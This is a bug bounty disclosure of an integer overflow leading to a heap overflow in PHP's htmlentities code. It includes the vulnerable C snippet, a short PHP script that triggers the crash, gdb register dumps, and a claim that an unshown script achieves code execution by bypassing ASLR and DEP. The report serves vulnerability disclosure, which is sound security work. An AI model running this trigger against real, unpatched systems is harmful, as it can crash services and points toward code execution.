Internet Bug Bounty · Report #180582
Heap overflow due to integer overflow in php_escape_html_entities_ex() function
How it was found
The fix for this bug has been committed: https://bugs.php.net/bug.php?id=73398 Description:
I have found some vulnerable code at php_escape_html_entities_ex() function. php_escape_html_entities_ex() function creates a new zend_string object to store html data. The size of destination string depends on the size of source string. ( refer at ext/standard/html.c:1272 )
PHPAPI zend_string *php_escape_html_entities_ex(unsigned char *old, size_t oldlen, int all, int flags, char *hint_charset, zend_bool double_encode)
{
...
/* initial estimate */
if (oldlen < 64) {
maxlen = 128;
} else {
maxlen = 2 * oldlen;
if (maxlen < oldlen) {
zend_throw_error(NULL, "Input string is too long");
return NULL;
}
}
replaced = zend_string_alloc(maxlen, 0);
...
}
If oldlen is equal to PHP_INT_MAX, maxlen will be an unexpected value and zend_string_alloc() function will allocate a small memory range. Due to missing check of size before calling
zend_string_alloc(), this new memory range can not use to store large html data and lead to heap overflow. I can overwrite other objects of PHP in memory. This bug is only triggered in 32bit machine.
Solution:
It should be zend_string_alloc_safe instead of zend_string_alloc.
Test script:
<?php
ini_set('memory_limit', -1);
$s = str_repeat("A", PHP_INT_MAX);
htmlentities($s, 0, "", true);
?>
Actual result:
Open php program in gdb and run test script, set a breakpoint at line in file ext/standard/html.c:1269.
When debugger stops, we have oldlen=0x7fffffff. Because oldlen is bigger than 0x64, maxlen is equal to twice oldlen. maxlen is equal to 0xfffffffe.
[----------------------------------registers-----------------------------------]
EAX: 0xfffffffe
EBX: 0x1
ECX: 0x10
EDX: 0x5
ESI: 0xb7814100 --> 0x2
EDI: 0xfffffffe
EBP: 0xbfffbf68 --> 0xbfffbfb8 --> 0xbfffc084 --> 0x0
ESP: 0xbfffbee0 --> 0x80001000 ('A' <repeats 200 times>...)
EIP: 0x826e37a (<php_escape_html_entities_ex+442>: call 0x82fc010 <_emalloc>)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x826e371 <php_escape_html_entities_ex+433>: mov edi,DWORD PTR [ebp-0x34]
0x826e374 <php_escape_html_entities_ex+436>: lea ecx,[edi+0x14]
0x826e377 <php_escape_html_entities_ex+439>: and ecx,0xfffffffc
=> 0x826e37a <php_escape_html_entities_ex+442>: call 0x82fc010 <_emalloc>
0x826e37f <php_escape_html_entities_ex+447>: mov esi,eax
0x826e381 <php_escape_html_entities_ex+449>: mov DWORD PTR [eax],0x1
0x826e387 <php_escape_html_entities_ex+455>: mov DWORD PTR [eax+0x4],0x6
0x826e38e <php_escape_html_entities_ex+462>: mov DWORD PTR [eax+0x8],0x0
[------------------------------------stack-------------------------------------]
0000| 0xbfffbee0 --> 0x80001000 ('A' <repeats 200 times>...)
0004| 0xbfffbee4 --> 0xb7ce07e9 (<madvise+25>: pop ebx)
0008| 0xbfffbee8 --> 0xb7ce07f7 (<madvise+39>: add ecx,0xc7809)
0012| 0xbfffbeec --> 0x82f9774 (<zend_mm_chunk_alloc_int+100>: mov eax,esi)
0016| 0xbfffbef0 --> 0x37400000 --> 0x2
0020| 0xbfffbef4 --> 0x80001000 ('A' <repeats 200 times>...)
0024| 0xbfffbef8 --> 0xe
0028| 0xbfffbefc --> 0x88dd0c0 --> 0x88dd0f8 --> 0x2
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0826e37a 122 zend_string *ret = (zend_string *)pemalloc(ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(len)), persistent);
gdb-peda$
The size which is used as parameter in _emalloc() function is equal to ((oldlen * 2 + 0x14 ) & 0xfffffffc). Due to integer overflow, if oldlen is equal to 0x7fffffff, this size is 0x10. The new memory region is too small to store a large string!
if we continue running, other memory region will be overwritten until SIGSEGV!
[----------------------------------registers-----------------------------------]
EAX: 0x41 ('A')
EBX: 0x199fa0
ECX: 0x37599fb0 ('A' <repeats 200 times>...)
EDX: 0x3
ESI: 0x199fa1
EDI: 0xb7866050 --> 0x1
EBP: 0xbfffbf68 --> 0xbfffbfb8 --> 0xbfffc084 --> 0x0
ESP: 0xbfffbee0 --> 0x80001000 ('A' <repeats 200 times>...)
EIP: 0x826eaf1 (<php_escape_html_entities_ex+2353>: mov BYTE PTR [edi+ebx*1+0x10],al)
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x826eae8 <php_escape_html_entities_ex+2344>: mov ebx,DWORD PTR [ebp-0x38]
0x826eaeb <php_escape_html_entities_ex+2347>: movzx eax,BYTE PTR [ecx]
0x826eaee <php_escape_html_entities_ex+2350>: mov esi,DWORD PTR [ebp-0x30]
=> 0x826eaf1 <php_escape_html_entities_ex+2353>: mov BYTE PTR [edi+ebx*1+0x10],al
0x826eaf5 <php_escape_html_entities_ex+2357>: lea eax,[ebx+0x1]
0x826eaf8 <php_escape_html_entities_ex+2360>: mov DWORD PTR [ebp-0x38],eax
0x826eafb <php_escape_html_entities_ex+2363>: jmp 0x826e810 <php_escape_html_entities_ex+1616>
0x826eb00 <php_escape_html_entities_ex+2368>: test BYTE PTR [ebp+0x14],0x2
[------------------------------------stack-------------------------------------]
0000| 0xbfffbee0 --> 0x80001000 ('A' <repeats 200 times>...)
0004| 0xbfffbee4 --> 0xb7ce07e9 (<madvise+25>: pop ebx)
0008| 0xbfffbee8 --> 0xb7ce07f7 (<madvise+39>: add ecx,0xc7809)
0012| 0xbfffbeec --> 0x82f9774 (<zend_mm_chunk_alloc_int+100>: mov eax,esi)
0016| 0xbfffbef0 --> 0x37400000 --> 0x2
0020| 0xbfffbef4 --> 0x80001000 ('A' <repeats 200 times>...)
0024| 0xbfffbef8 --> 0xe
0028| 0xbfffbefc --> 0x88dd0c0 --> 0x88dd0f8 --> 0x2
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0826eaf1 in php_escape_html_entities_ex (old=0x37400010 'A' <repeats 200 times>..., oldlen=0x7fffffff, all=<optimized out>, all@entry=0x1, flags=0x0, hint_charset=0x88cce38 "",
double_encode=double_encode@entry=0x1) at /root/fuzzer/PHP-7.1/ext/standard/html.c:1378
1378 ZSTR_VAL(replaced)[len++] = mbsequence[0];
gdb-peda$
I can leak memory to bypass ASLR + DEP and control eip register to the arbitrary value. Finally, the overflow results as arbitrary code execution. The attached script which executes at local machine can leak library data and run /bin/sh. :)